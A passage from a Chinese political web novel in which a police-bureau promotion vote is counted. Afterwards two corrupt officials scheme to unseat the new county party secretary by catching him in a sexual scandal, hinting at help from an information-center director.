大多数人的心中,总该还存着那么一点对职责的敬畏,对公理的坚守吧?
他在这里,不是已经发现了乔国良、魏明君,甚至那个有待观察的刘洋意,这三个可堪造就的苗子吗?
他绝不相信,黑暗能彻底吞噬所有的光。
“请组织部和纪委的同志上前监督验票、计票。”赵强的大声道。
两名监督工作人员应声上前。
两人围在票箱旁,神情肃穆。
组织部的监督工作人员打开票箱,将厚厚一叠选票小心地取出,放在桌上。
另一名纪委监督工作人员负责唱票,声音清晰但带着一丝紧绷:“夏向明,一票。”
“乔国良,一票。”
“吴兴昌,一票。”
“刘洋意,一票。”
……
赵强则目光锐利如鹰隼,紧盯着唱票和旁边白板上画“正”字的每一个动作,确保整个过程公开透明,无懈可击。
唱票的声音在寂静的会议室里回荡。
白板上,四个名字下方,“正”字的一笔一划在逐渐累积。
时间一分一秒过去,所有人的目光都死死地锁定在那块白板上。
空气仿佛凝固了,只有唱票的声音在切割着令人窒息的沉默。
起初,四个名字下方的“正”字增长得似乎难分伯仲。
但渐渐地,一种微妙的趋势开始显现。
乔国良名字下的笔画,如同被赋予了生命力的藤蔓,开始以一种虽不迅猛却异常坚定、后劲十足的方式,稳健地向上攀升,每一次新的“一票”唱出,都让那代表他的“正”字多出一个有力的笔画。
与之相比,夏向明的增长略显迟滞,而刘洋意的势头在经历了一个短暂的活跃期后,也明显放缓。
吴兴昌则几乎从一开始就落在了后面。
会场的气氛随着计票的进程而不断变化。
起初是死寂的观察,接着是压抑的窃窃私语,当乔国良的票数首次超过夏向明时,后排传来一声极轻却清晰的倒吸冷气声。
当乔国良的票数一路领先,并且将优势逐渐拉大时,会场开始出现一种奇异的骚动,像平静水面下涌动的暗流。
有人开始不自觉地调整坐姿,有人眼神交汇,传递着无声的惊讶,还有人脸上露出了难以掩饰的振奋。
唱票终于结束。
白纸黑字,尘埃落定。乔国良以绝对优势跃居榜首。
负责计票的组织部监督工作人员仔细核对着白板上的“正”字数量,又低声与纪委监督工作人员确认了一下。
然后,他面向全场,深吸了一口气,声音比之前洪亮了许多,清晰地宣布:
“本次推荐投票结果如下:”
“乔国良同志,有效票数,五十六票!”
“刘洋意同志,有效票数,四十三票!”
“夏向明同志,有效票数,二十二票!”
“吴兴昌同志,有效票数,
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十一票!”
话音落下的瞬间,会议室里出现了极其短暂的、近乎真空般的死寂。时间仿佛被一只无形的手猛地掐住。紧接着——
“哗——!!!”
如同积蓄了太久力量的洪水终于冲垮了堤坝,又如同压抑到极点的火山骤然喷发,雷鸣般的掌声毫无征兆地、猛烈地炸响开来!
这掌声是如此的热烈、如此的持久、如此的充满力量,瞬间就席卷了整个会议室,淹没了所有其他的声音。
它不再是那种稀稀拉拉、敷衍了事的礼貌性掌声。
而是发自肺腑的认同与释放,是无数个压抑已久的心声汇聚成的洪流。
许多干警情不自禁地从座位上站了起来,用力地鼓着掌,脸上洋溢着激动和释然。
前排几个中层干部,在最初的震惊之后,也随着大流鼓起掌来,只是那掌声显得有些稀落和迟疑,脸上的表情复杂难明。
江昭宁心无声地松懈下来,一股暖流伴随着微麻感,悄然浸透四肢百骸——乔国良不仅当选,竟是以这种压倒性高票胜出!
自己的判断没有错。
那沉默的人群中,终究不是只有随波逐流的羔羊。
整个县局的肌体,并未彻底坏死。
风暴中心的乔国良,在听到自己名字和票数的那一刻,身躯似乎也微微震动了一下。
他依旧保持着端正的坐姿,但那双平视前方的眼睛深处,却有什么东西在剧烈地翻涌、凝聚。
他缓缓地、极其郑重地抬起双手,加入了鼓掌的行列,动作并不快,却带着一种千钧的分量,每一次拍击都仿佛用尽了全身的力量。
那掌声,是他对自己坚持的回应,是对这出乎意料却光明正大的结果的敬意。
江昭宁端坐在主席台中央,脸上依旧保持着那份沉稳和平静。
他微微颔首,目光缓缓扫过台下那一张张激动、兴奋、释然乃至震惊的脸庞。
最后,他的视线与站得笔直、用力鼓掌的乔国良在空中短暂地交汇了一瞬。
在那平静如深潭的目光深处,掠过一丝极其微弱的、几乎无法察觉的涟漪,那是洞察棋局按预期演变后的了然,是压在心头巨石稍稍移开的轻松。
更是一种对人性中那点尚未泯灭的光明的确认——还好,这方天地,终究没有被黑暗完全吞噬,人心深处,公道自在。
第98章 要守住最核心的阵地
然而,这如潮的掌声,这激动人心的场面,真的意味着风暴的平息吗?
江昭宁嘴角那丝若有若无的弧度,似乎又包含着更深邃的思量。
那票箱静静地立在桌面上,像一个沉默的见证者,记录下了这次投票,也预示着未来更复杂的棋局才刚刚展开。
乔国良的高票当选,如同一颗投入深潭的石子,激起的涟漪才刚刚开始扩散。
权力场上的棋局,一步落定,步步惊心,远未到终盘之时。
散会后,接着召开了党委会。
党委会议室的门在身后无声闭合,隔绝了走廊里残留的掌声余韵。
与刚才大会议室的喧腾截然不同,这里的气氛骤然沉降,沉得像刚开封的墨汁。
椭圆形的会议桌漆面光可鉴人,倒映着顶灯惨白的光晕,也映照着围坐桌边的几张面孔——平静下涌动着无形的激流。
空气凝滞,只有空调低沉的嗡鸣固执地钻进耳膜,却驱不散那份令人屏息的凝重。
江昭宁在首位落座,目光缓缓扫过众人,最后在李国栋那张竭力维持平静的脸上停留了一瞬。
李国栋的嘴角似乎想扯出一个惯常的、从容的微笑。
但那弧度只僵硬地牵动了半边脸,便无以为继,最终凝固成一种难以言喻的尴尬。
他端起面前的紫砂茶杯,杯盖与杯沿轻轻磕碰,发出细微却异常刺耳的脆响,暴露了他指间那丝无法完全抑制的微颤。
赵强率先打破了这令人窒息的沉默。
他清了清嗓子,声音不高,却字字清晰,如同小锤敲在紧绷的鼓面上:“李局长,今天的**推荐结果,程序合规,结果有效。”
“请你们局党委尽快形成正式的书面推荐报告,连同详细的计票结果说明,一并报送组织部。”
“时间紧迫,务必在明天下班前完成,**会那边等着上会研究。”
“好,请赵**放心。”李国栋放下茶杯,喉结滚动了一下,声音努力维持着平稳,却透着一股被砂纸打磨过的干涩,“会后我立即安排政工室着手整理材料,确保按时、规范上报。”
“嗯,”江昭宁微微颔首,目光沉稳地环视了一圈在座的党委委员,声音不高,却带着一种不容置疑的分量,“今天的**推荐,过程公开透明。”
“结果反映了局里绝大多数同志的真实意愿,组织上予以充分肯定。”
“两位优秀同志进入班子,为县局班子带来新的活力,为全局工作注入新的动力。”
江昭宁的措辞严谨而有力,每一个字都像投入平静水面的石子,在党委委员们心中激起层层涟漪。
李国栋脸上肌肉几不可察地抽动了一下。
他端起茶杯,借着低头喝水的动作,掩去了眼底翻涌的阴霾。
那杯温热的水似乎也无法驱散他心头的寒意。
乔国良的高票当选,像一根无形的楔子,硬生生钉进了他苦心经营多年的权力版图。
会场里那阵几乎掀翻屋顶的掌声,此刻仍在脑海中嗡嗡作响,每一记都像抽在他脸上的耳光。
他必须反击,至少,要守住最核心的阵地。
茶杯被轻轻放回桌面。
李国栋深吸一口气,仿佛下定了某种决心,脸上重新堆砌起那种带着几分圆融与谦逊的笑容。
他转向江昭宁,声音刻意放缓,带着一种请示商榷的口吻:“江**,趁着今天党委会,关于国良同志的具体分工,我有个小小的建议,想请您和各位委员斟酌一下。”
“哦?国栋同志有什么想法,尽管提出来,党委会就是集体研究决策的地方。”
江昭宁身体微微前倾,目光如炬,平静地注视着李国栋。那目光仿佛能穿透表象,直抵人心。
会议室里的空气瞬间绷得更紧,所有人的目光都聚焦在李国栋身上,等待着下文。
李国栋清了清嗓子,语速不急不缓,甚至带上了一丝为组织、为工作着想的诚恳:“是这样的,江**。”
“您之前对国良同志寄予厚望,希望他能挑起刑侦和治安这两大核心警种的担子。”
“这想法本身,体现了您对业务骨干的重用,非常好。”
他话锋随即一转,语气变得郑重其事,“但是,就在昨天,省厅刚刚下发了最新的《关于规范**机关主
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要警种领导分工的指导意见》。”
“它里面明确要求,刑侦、治安作为**机关两大基础性、实战性极强的核心警种,因其工作性质特殊、任务繁重且相对独立,为避免权力过于集中和精力分散,原则上不宜由同一名副局长分管。”
他略作停顿,目光扫过赵强,带着征询的意味:“赵**,这份文件您那边应该也有备案,不知我理解的是否准确?”
赵强立刻点了点头,表情严肃地证实道:“李局说得没错。省厅这份指导性文件确实强调了这一点。”
“从组织管理和风险防控的角度看,刑侦治安由不同领导分管,是符合上级精神和当前管理要求的。”
他的表态,无形中为李国栋的建议披上了一层“合规”的外衣。
会议室内一片寂静。
党委委员们交换着眼神,有人若有所思,有人则悄悄观察着江昭宁的脸色。
刘博文的眉头几不可察地蹙了一下,随即又恢复了平静,只是放在膝盖上的手微微握紧。
刑侦是乔国良最熟悉、最能施展抱负的领域。
而治安大队更是县局实权部门的重中之重,掌握着复杂场所管理、大型活动安保、特种行业审批等核心权力,油水足,影响力大。
若被拆分,意味着他尚未履新,手中关键的权柄就被预先卸掉了一半。
江昭宁没有立刻回应。
他微微向后靠向椅背,食指轻轻敲击着光洁的桌面,发出规律而低沉的叩击声。
那声音在寂静的会议室里格外清晰,仿佛敲打在每个人的心弦上。
他的目光沉静如水,深邃的目光似乎穿透了会议室的墙壁,投向更远的地方。
李国栋搬出省厅的“尚方宝剑”,时机拿捏得如此精准,意图昭然若揭——就是要阻止乔国良染指治安这块肥肉。
这既是权力分割,更是对他权威的一次试探性狙击。
但规定摆在那里,赵强也点了头,硬顶回去,显得不顾大局。
时间在无声的思索中流逝了几十秒,那轻轻的叩击声仿佛也敲定了某种决心。
江昭宁的指尖蓦然停住。
第99章 温水煮青蛙
他抬眼,目光锐利地看向李国栋,嘴角却忽然向上牵起一个极淡、甚至带着一丝若有若无调侃意味的弧度:“国栋同志提醒得很及时啊。”
“上级的规定,我们当然要坚决执行。”
李国栋心中一松,脸上那公式化的笑容刚要加深,却听江昭宁话锋陡然一转,语气变得格外清晰有力:“既然省厅有要求,刑侦、治安不能由一人统管,那我们就严格按规定来办。”
他停顿了一下,目光转向乔国良,带着一种洞悉一切的深意,“不过嘛,我记得国良同志有个特点,精力旺盛,责任心强,尤其对**,那是真上心。”
“而且还‘伸手过界’,爱管点别的侦查部门的事。”
“既然国良同志对破案子这么有热情,对线索这么有钻劲,”江昭宁的声音陡然拔高,带着不容置疑的决断,“那就让他把这股劲头用在正道上!”
“刑侦这一块,责无旁贷。让他管了!”
“另外……”他目光如电,扫过全场,“禁毒!禁毒工作现在形势严峻,任务艰巨,专业性极强,同样需要敢打敢拼、心思缜密的领导来抓。”
‘我看,刑侦和禁毒两块硬骨头,就一并交给国良同志来啃!让他集中精力,把这两把刀磨得更快更亮!”
“刑侦……和禁毒?”李国栋脸上的笑容彻底凝固了,眼神里闪过一丝错愕。
他万万没想到江昭宁的反弹如此迅猛而精准!
禁毒大队?那是个什么地方?常年与最危险的亡命徒打交道,案子破不了是常态,破得了也是付出巨大代价。
压力如山,风险如影随形,是真正的烫手山芋!
只是,禁毒这块,涉及到李国栋一些隐秘渠道和巨大利益……江昭宁这一手,哪里是退让?分明是直插他的软肋!
“江**这个安排……很合理!”李国栋几乎是咬着后槽牙,才挤出了这句话,脸上的肌肉僵硬地扯动着,“国良同志能力出众,由他主抓刑侦和禁毒,确实能提升我们局的打击效能和禁毒工作水平。”
他语速加快,似乎急于将这烫手的任命砸实,“至于治安这一大摊子,涉及面广,事务繁杂,就由我来统筹安排其他合适的分管领导吧。”
“请江**放心,一定确保平稳过渡,工作不断档。”
他强行压下翻腾的心绪,努力让声音听起来平稳无波。
至少,治安大队这块最肥的肉,还牢牢掌握在自己手中。
乔国良被套上了刑侦禁毒这两副最重的枷锁,够他喝一壶的。
这,总算……扳回了一局?
“好。”江昭宁言简意赅,目光转向赵强,“国栋同志,治安口的后续分工方案,你们党委尽快研究确定,报组织部备案。”
“是,江**。”李国栋沉声应道。
“散会。”江昭宁的声音落下。
椅子挪动的声音响起。
李国栋第一个站起身,动作显得有些急促。
他没有看任何人,径直拿起桌上的笔记本和茶杯,转身快步向门口走去。
那背影,在顶灯惨白的光线下,竟透出几分竭力维持却依旧掩饰不住的仓皇。
江昭宁最后一个离开。他走到窗边,望着楼下大院。
窗玻璃上,映出江昭宁沉思的面容。
权力的棋局上,一子落下,风雷激荡。
他给了乔国良最锋利的矛一——刑侦和最坚固的盾——禁毒,同时也将他推向了最凶险的风口浪尖。
李国栋看似暂时保住了治安的堡垒,却被迫交出了禁毒的要塞,那堡垒之下,是否还埋着他自己都无法掌控的惊雷?
……
第二天。
李国栋推门走进刘世廷办公室时,一股浓重的烟味混着陈年茶叶的气息扑面而来,撞得他几乎一个趔趄。
厚重的金丝绒窗帘严丝合缝地垂着。
只在底部透出一线惨白的光,斜斜地劈在深棕色的实木地板上,将本就昏暗的室内切割得更加压抑。
刘世廷埋首在一堆文件后,像一头蛰伏在阴影里的老兽,只有头顶稀疏的几缕头发被台灯的光染上一层油腻的亮色。
他闻声抬起头,脸上没什么表情,眼皮略微抬了抬,算是打过招呼。
“刘县长。”李国栋的声音有些发干,他反手轻轻带上门。
“坐。”刘世廷的声音低沉,带着一种长久浸润权力的沙哑和不容置疑。
他在刘世廷宽大的办公桌对面的椅子上坐下,皮革冰凉,硌着他的腰背。
他下意识地挺直了身体,双手不自觉地放在膝盖上,
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指尖微微蜷缩,仿佛这样能汲取一点支撑的力量。
刘世廷慢条斯理地拿起桌上那个磨得发亮的紫砂壶,手腕沉稳地倾斜,一道深褐色的水线注入同样色泽深沉的茶杯里,热气升腾,“有事?”
李国栋深吸一口气,那浓郁的烟味和茶气呛得他喉咙发痒。
他舔了舔有些干裂的嘴唇,胸膛里那股憋闷了许久的火气,如同被点燃的引线,再也按捺不住。
“姥姥的!”他猛地一拍椅子扶手,声音陡然拔高,在密闭的空间里显得格外突兀刺耳,“刘县长,没法干了!”
“江昭宁他……”
他身体前倾,像一头被逼到角落、鬃**倒竖的困兽,眼里布满血丝,死死盯住刘世廷那张不动声色的脸。“他在我的局里掺沙子,挖墙脚,安插心腹!”
刘世廷端起茶杯,凑到唇边,慢悠悠地吹了吹浮在上面的茶沫,眼皮都没抬一下,只从喉咙深处滚出几个字:“这事,我知之甚详。”声音平淡得像在谈论天气。
这句波澜不惊的回应,非但没让李国栋平静,反而像一瓢冷水浇在了滚油上,滋啦一声,炸得他心头的恐慌更加猛烈。
“知之甚详?那您……”他声音带着一丝不易察觉的颤抖,“我怕啊,刘县长!这样下去,他下一个目标铁定就是我!”
“温水煮青蛙啊!等水开了,我这只老**也就熟了!”他急促地喘着气,额角青筋随着他粗重的呼吸微微搏动,手指无意识地抓紧了膝盖处的裤料,指节泛白。
他猛地站定,双手撑在刘世廷宽大的办公桌沿上,身体前倾,几乎是俯视着依旧端坐品茶的刘世廷,眼神里充满了末日般的恐惧。“我一倒,刘县长,您想想!这一县的**,整个局子,会倒向谁?”
“还不是他江昭宁?”
“县**局就会变成他姓江的一言堂,就是他江家的后花园!”
刘世廷波澜不惊,慢腾腾道:“他是什么人?**!”
“一县安危,**系于一半!”
“他能不把这一县的武装力量死死攥在自己手心里?”
“不在要害位置上安插他自己信得过的人,他晚上能睡得安稳?他那个位置,坐得能踏实?”
“这事,你李国栋能阻止得了?”
第100章 怕的是被架空!
李国栋的呼吸越来越急促,胸膛剧烈起伏,额头上沁出一层细密的冷汗。
他仿佛已经看到了自己被踢出局后,江昭宁的心腹坐在他的局长宝座上发号施令。
而他自己则成了无人理睬的孤魂野鬼,往日的威风荡然无存,只剩下无尽的凄凉和世态炎凉。
那种被权力抛弃、被众人遗忘的冰冷感觉,让他不寒而栗。
“只是要动你的话,哼……”刘世廷终于放下茶杯,发出一声轻响,打破了李国栋营造出的紧张氛围。
他微微后仰,靠在宽大舒适的真皮椅背上,嘴角向上扯出一个冰冷的弧度,带着毫不掩饰的轻蔑,“他江昭宁,还没有这个能力。”
他的目光锐利如鹰隼,稳稳地落在李国栋那张写满焦虑的脸上。
“你是市管干部!”刘世廷的声音陡然拔高,每一个字都像重锤敲在李国栋的心上,“你李国栋的名字,人事档案在市里装着,在**组织部!”
“你的帽子,你的乌纱帽……任免大权握在****们手心。”
“不在他江昭宁的手上!”
“不在这个小小的县城!知道吗?他一时半会动不了你,你怕他什么?嗯?”
“呸!”
刘世廷口中吐出不屑的“呸”字,眼神里却分明涌动着浓稠的疑惧和惶然。
他的手指在光滑的桌面上轻轻敲击着,发出规律而沉稳的“笃笃”声,像是在为李国栋混乱的思绪打着拍子,试图将其强行拉回正轨。
这直指核心的提醒,像一剂强心针,暂时驱散了李国栋心头的一部分阴霾。
他紧绷的肩膀稍稍垮塌下来,但眼中的焦虑并未完全褪去,反而沉淀为一种更深的、难以言说的隐忧。
“我…我不是怕他动我的位子,”李国栋的声音低沉下去,带着一种被逼到墙角后的疲惫和无奈,“我怕的是被架空!”
“刘县长,您懂的。明面上,我还是局长,还是副县长,是全县所有警察脑袋顶上的天,是他们的直接领导。可是……”
他顿了顿,脸上肌肉微微抽搐,似乎在咀嚼着某种**。“正常的工作安排,他们不敢不听。”
“警纪警规在那儿摆着。可是……”他的声音再次压得更低,几乎成了耳语,身体也下意识地往前凑了凑,带着一种分享绝密般的紧张,“就怕那些‘不正常’的!”
“就怕那些…不能摆上台面、却又必须有人去办的事!”
“那些事,一旦被卡住,或者…被捅出去……”
李国栋的眼中闪过一丝恐惧,后面的话他没说出口,但刘世廷显然完全明白。
那些隐藏在正常警务工作阴影下的“特殊任务”,那些需要绝对忠诚和保密去执行的“指令”,才是他真正的命门所在。
一旦失去对这股隐秘力量的控制。
或者被对手掌握了其中任何一件的蛛丝马迹,后果不堪设想。
“那些事,”刘世廷的声音陡然变得异常低沉、沙哑,像砂纸摩擦着粗糙的木头,每一个字都带着一种粘稠的、令人心悸的寒意,“知道的人越少越好。”
他缓缓抬起眼皮,目光像淬了冰的针,精准地刺向李国栋的瞳孔深处。“事以密成,语以泄败。”
“千百年来官场血泪写的箴言,不是白说的!”
“老祖宗几千年前就讲透的道理。”
“你慌什么?”他身体微微前倾,越过办公桌,带来一股无形的压迫感。“有几个真正听你话的、能把嘴焊死的,就够了。”
他锐利的目光锁死李国栋的脸,“在关键之处、紧要的关头,能顶上去的有那么几个肯听你话、信得过的人,足够守住滩头阵地……就够了。”
“其余的,让他们去听江昭宁的,又能怎样?”
“只要核心还在你手里。”
这赤裸裸的权术点拨,带着一种冷酷的清醒,让李国栋混乱的心绪似乎找到了一点依靠。
他咽了口唾沫,感觉喉咙里干涩发紧。
刘世廷看着他略微松弛下来的表情,嘴角那抹冰冷的弧度骤然加深,牵动着眼角的皱纹,形成一种极其阴鸷的笑意,仿佛毒蛇露出了獠牙。
“江昭宁,”他慢悠悠地吐出这个名字,像在品味着某种即将被碾碎的猎物,“他凭什么能在县里为所欲为?嗯?”
这突如其来的问题,让正处于惊弓之鸟状态的李国栋明显一愣。
他下意识地眨眨眼,脸上写满了困惑和一丝荒诞感。
这么简单、近乎愚蠢的问题,刘县长还需要问?
答案不是明摆着吗?
“这还用问?”李国栋几乎是脱口而出,语气里带着一丝不易察觉的急躁,“当然是凭借他县委**的身份啊!职务效应!”
“一把手,拍板定
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调,金口玉言!”
“他说东,底下谁敢往西?”他越说越激动,仿佛在为自己刚才的恐慌找到合理的宣泄口,“他现在是嚣张得很!”
“新官上任,屁股还没坐热乎呢,就到处点火。”
“可他这位置,按规矩,至少稳稳当当能坐五年!”
“五年啊!刘县长!我们难道要被他骑在脖子上拉屎五年?”
“哼,”刘世廷鼻腔里发出一声短促而轻蔑的冷哼,彻底打断李国栋的激动。那声“哼”像一块冰,瞬间冻结了李国栋的话语。
刘世廷脸上阴鸷的笑容并未散去,反而带上了一丝近乎残忍的玩味。
“那如果……”他微微歪着头,像审视一个不开窍的笨蛋,慢悠悠地抛出了第二个问题,如同在平静的水面投下了一颗深水**:“……他没了这个头衔呢?”
刘世廷眼中那两点幽冷的火苗骤然腾高几分,直勾勾地刺向李国栋的眼底。
“没有这头衔?”李国栋彻底懵了,他下意识地重复了一遍,眼神茫然地看着刘世廷那张高深莫测的脸。
这个假设本身就显得荒谬至极。
县委**的身份,是江昭宁一切权力和威势的根基,如同高楼的地基,抽掉了它,楼自然就塌了。
这道理浅显得如同白昼黑夜。
“那他就什么也不是!”李国栋回过神来,语气里带着一种发泄般的快意,仿佛已经看到了那个令人厌恶的年轻人跌落尘埃的狼狈模样,“一文不值!狗屁不是!”
“走在街上,谁认识他是哪根葱?他那些威风,那些命令,那些指手画脚,统统都是狗放屁!”
“没了那个位置,他连个普通的科员都不如!”他说得咬牙切齿,拳头在身侧不自觉地攥紧,指关节发出轻微的“咔吧”声,似乎要将那个虚幻的、失去光环的江昭宁捏碎在掌心。
这畅快的想象短暂地驱散了他心头的阴霾。
然而,这快感如同昙花一现。
现实的冰冷巨幕瞬间又笼罩下来。
他猛地意识到,这不过是自己一厢情愿的幻想。
江昭宁正稳稳地坐在那把代表着全县最高权力的交椅上,意气风发,而且还将继续坐下去。
五年,一千八百多个日夜,足够他将整个县经营得铁桶一般。
也足够将像自己这样的人彻底边缘化甚至清除出去。
第101章 那色呢?
一想到这个漫长而绝望的时间跨度,李国栋刚刚挺起的脊梁又瞬间垮塌下去,脸上重新布满了沮丧和无力,像一只泄了气的皮球,颓然地坐回沙发里。
他喃喃道:“可是…他现在就坐在那里啊…五年…”
刘世廷将李国栋从短暂的意气风发到瞬间灰心丧气的全过程尽收眼底,那阴鸷的笑容纹丝未动,反而更深地刻入他眼角的褶皱里,透出一种洞悉人性弱点的冷酷。
他端起茶杯,却没有喝,只是用指尖摩挲着温热的杯壁,动作缓慢而带着一种掌控一切的从容。
“当官,”他再次开口,声音不高,却像钝刀子割肉,字字敲在人心坎上,“图什么?嗯?”
“你告诉我,当官图什么?”他微微眯起眼睛,目光锐利如针,牢牢锁住李国栋。
李国栋被他看得有些发毛,脑子里飞速转动着各种冠冕堂皇的答案——“为人民服务”、“实现抱负”、“建设地方”……但这些话在刘世廷那洞穿一切的目光下显得无比苍白可笑。
在基层官场摸爬滚打几十年,他太清楚那些台面下的汹涌暗流了。
他喉结艰难地滚动了一下,避开刘世廷的视线,声音干涩地挤出了两个赤裸裸、带着血腥味的字眼:“钱…色…”
这两个字仿佛耗尽了李国栋的力气,也撕开了最后一块遮羞布。
办公室里的空气骤然变得更加粘稠压抑。
“钱色两字!”刘世廷猛地接话,声音陡然拔高,带着一种宣判般的冷酷和一丝不易察觉的兴奋,如同猎人终于找到了猎物的致命弱点。
他身体前倾,几乎要越过桌面,镜片后的眼睛闪烁着幽光。“权钱交易,权色交易!”
“古往今来,谁能免得了?谁又能真正免俗?”
“只要他手里握着权柄,只要他还有七情六欲,这两样东西,就像附骨之蛆,甩都甩不掉!这是人性!是铁律!”他斩钉截铁,每一个字都像淬了毒的钉子,狠狠钉入李国栋动摇的心防。
李国栋被刘世廷骤然爆发的凌厉气势慑住。
他张了张嘴,想说点什么,却发现自己的思维完全被对方牵着走。
是啊,钱色,谁能真正免俗?
江昭宁再年轻有为,再一副清高模样,他也是个人!
只要是人,就有弱点!
然而,这个刚刚升起的希望火苗,瞬间又被他自己扑灭了。“可是…刘县长…”李国栋的声音充满了沮丧,甚至带上了一点绝望的哭腔,“江昭宁这小子,邪门得很!对钱,他好像天生就有免疫力!”
“据我所知,下面也不是没人试探过,各种名目,各种由头,想给他送点‘心意’,结果呢?”
“碰了一鼻子灰!轻则被严厉训斥,重则直接影响了位置!”
“吴天放不就是一个鲜明的例子吗?”
“这家伙,油盐不进,软硬不吃!这条路,怕是走不通啊!”他痛苦地摇了摇头,仿佛看到了唯一可行的攻击路径被彻底堵死。
“钱走不通?”刘世廷脸上那抹阴鸷的笑意非但没有消失,反而在嘴角裂开一个更大的弧度,显得更加诡异和森然。
他慢条斯理地放下茶杯,身体重新靠回椅背,双手交叉放在微微隆起的肚子上,好整以暇地看着李国栋,仿佛在看一出即将上演的好戏。
“那色呢?”他轻轻地、一字一顿地吐出这三个字,像毒蛇吐出了信子。
李国栋猛地抬头,眼中闪过一丝惊愕和茫然。“色?”
“对,色!”刘世廷的声音斩钉截铁,带着一种不容置疑的蛊惑力。“一个年轻的县委**,正是血气方刚的年纪!”
“孤身一人上任,又大权在握,站在全县权力的顶峰,俯瞰众生,生杀予夺尽在掌握…这种时候,这种心境…”他故意拖长了语调,每一个字都像带着钩子,引导着李国栋去想象那幅画面。
“见色能不起意?”
“年轻貌美、风情万种的女人主动投怀送抱,他能不动心?他能次次都当柳下惠?”
他微微摇头,脸上露出一种洞察世情的嘲讽,“国栋,你也是在官场摸爬滚打几十年的人,这种事,你见得少吗?”
“那些表面上道貌岸然的,背地里是个什么货色,你心里没数?”
刘世廷的话如同重锤,一下下砸在李国栋的心坎上。
是啊,他见得太多太多了。
权力是天然的**。
那些平日里严肃刻板、高谈阔论的领导,在美色的诱惑下,丑态百出的还少吗?
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>江昭宁再年轻有为,他也是个男人,一个精力旺盛、手握重权、独居的男人!
他李国栋自己,不也曾在灯红酒绿中迷失过吗?
这个念头让他心头猛地一悸,随即又被一种更强烈的、抓住救命稻草般的兴奋感取代。
李国栋眼中的茫然迅速褪去,取而代之的是一种混合着惊疑、兴奋和一丝狠厉的光芒。
他似乎隐隐捕捉到了刘世廷庞大计划的狰狞轮廓。
刘世廷捕捉到了李国栋眼神的变化,他脸上的阴笑终于收敛,只剩下一种纯粹的、冰寒刺骨的算计。
他微微前倾,压低了声音,每一个字都像从冰窖里捞出来,带着致命的寒意:“只要…我们能抓住他乱搞男女关系这一条!”
“只要拿到铁证!照片!录像!时间、地点、人物,清清楚楚!人赃并获!那他就完了!彻底完了!”他的声音越来越低,却越来越有力,仿佛在宣读判决书。
“什么年轻有为?什么前途无量?什么五年任期?统统都会变成一堆臭不可闻的烂泥!”
“铺天盖地的**,上级震怒的调查,唾沫星子都能淹死他!”
“身败名裂,千夫所指!下台走人?那是板上钉钉!是注定的结局!”刘世廷的眼中闪烁着一种近乎疯狂的光芒,那是一种看到宿敌即将坠入深渊的、扭曲的快意。
“五年任期?哼,只要这一把火烧起来,五天都嫌多!五天之内,就能让他灰溜溜地滚出这个县!”
“五天…”李国栋喃喃地重复着这个数字,心脏在胸腔里疯狂地擂动,撞击着肋骨,发出沉闷的巨响。
五天!只需要五天!
这个念头像一道撕裂黑暗的闪电,瞬间将他心中积压多日的恐惧、焦虑和**照得一片雪亮,然后猛烈地燃烧起来,化为一种滚烫的、带有毁灭性的希望。
他猛地抬起头,看向刘世廷。
这位老上级的脸上,已经没有了刚才那种蛊惑人心的狂热,只剩下一种深不见底的阴冷和掌控一切的笃定。
那双眼睛,像两口深潭,平静无波,却清晰地映出了李国栋此刻因激动而扭曲的面容。
窗外,一线惨白的天光依旧固执地从厚重的窗帘缝隙挤入,无声地落在地板上。
第102章 监控?!
李国栋的呼吸骤停了一瞬,眼神从死寂的木然骤然被点燃,瞳孔深处爆开两点野火般明灭摇曳的异样光芒。
他脸上那些僵死的肌肉线条开始剧烈地扭曲、颤抖,先是惊愕的难以置信,接着是顿悟的狂喜,然后是同样燃烧起来的狠毒。
他的声音也变得异常嘶哑和急促,透着野兽扑食前压抑的喘息:“色……对!对!色!男人的关隘!致命的要害!”
“他姓江的能免其一,难道还能躲过其二?”他眼里的光越来越亮,几乎要烧起来,“刘县长!妙啊!这招!”
然而,短暂的兴奋过后,现实的巨大障碍立刻如同冰冷的潮水般涌来。
李国栋脸上那点微光迅速黯淡下去,换上了一种近乎卑微的疑惑与焦虑,他倾身向前,声音压得更低,几乎是气声:“只是?”
他顿了顿。
“只是什么?”刘世廷手指弹了桌面,动作带着一种猫捉老鼠般的从容。
他的眼神锐利如鹰隼,落在李国栋那张写满担心的脸上。
李国栋深吸一口气,仿佛要鼓起全部的勇气:“只是……刘县长,我们如何……如何才能真正掌握他的行踪呢?”
“尤其是那些私密的、见不得光的时段。”
“还有……”他舔了舔发干的嘴唇,声音越发艰涩,“他跟哪些女人接触多?频率如何?是在什么样的场合?”
“这些信息,都是致命的‘二’啊!没有这些,我们往哪里使力?”
他急切地往前挪了挪,“江昭宁身份不一般,在一个不熟悉的环境,他的警觉性只会更高。”
“如果,”他的眼中闪过一丝恐惧,“如果我们采取最笨的办法——派专人盯梢的话……”
他甚至不敢说完这句话,只是用力摇了摇头。
“那风险……”李国栋的声音带着一种沉重的后怕感,“实在太大,太大了!”
“一旦被他或者他的人发现我们的人在跟踪……”
“……刘县长,这个‘跟踪县委**’的大帽子一旦扣实,我这小小的**局长的位置……恐怕立刻就要坐到火山口上!”
“往轻了说,一个严重警告、免职处分是逃不掉的。”
“往重了说……”他抬手抹了抹额头的汗,喉结剧烈滚动了一下,“就可能丢掉饭碗,甚至……谁吃罪得起啊?”
他整个人像被抽掉了脊梁骨。
他这副失魂落魄、畏首畏尾的样子,尽收刘世廷眼底。
县长大人非但没有恼怒,反而牵动嘴角,露出一抹极其阴鸷、极具穿透力的冷笑。
那笑容仿佛冰层下的刀锋,寒光一闪即逝。“需要这样做吗?”
刘世廷轻飘飘地问了句,声音不高,却像一块冰冷的石头砸在李国栋心上。
“不……不这样做?”李国栋猛地抬头,眼神里充满了难以置信的疑惑和一丝抓住稻草般的微弱期待,“刘县长,那……那如何能掌握他私下的动向情况?”
他急切地追问,身体又一次不自觉地前倾,“掌握不了动向,掌握不了他私下交往过密的对象,我们如何谈得上……‘猎取’他的证据?”
“没有证据,这扳倒他不是一句空谈吗?纸上谈兵啊!”
“呵呵……”低沉的笑声从刘世廷的胸腔里滚出来,带着一种洞悉一切的嘲弄与掌控全局的自信。
他深深吸了一口气,不紧不慢地抛出一个名字,如同在平静的水面上投下了一颗精心挑选的石子:“县委办信息中心主任——董海,你熟悉吗?”
他目光如炬,紧紧锁定李国栋。
“董…董海?”这个名字让李国栋明显愣了一下。
他脑中飞快搜索着这个有些熟悉的名字对应的面孔和信息。
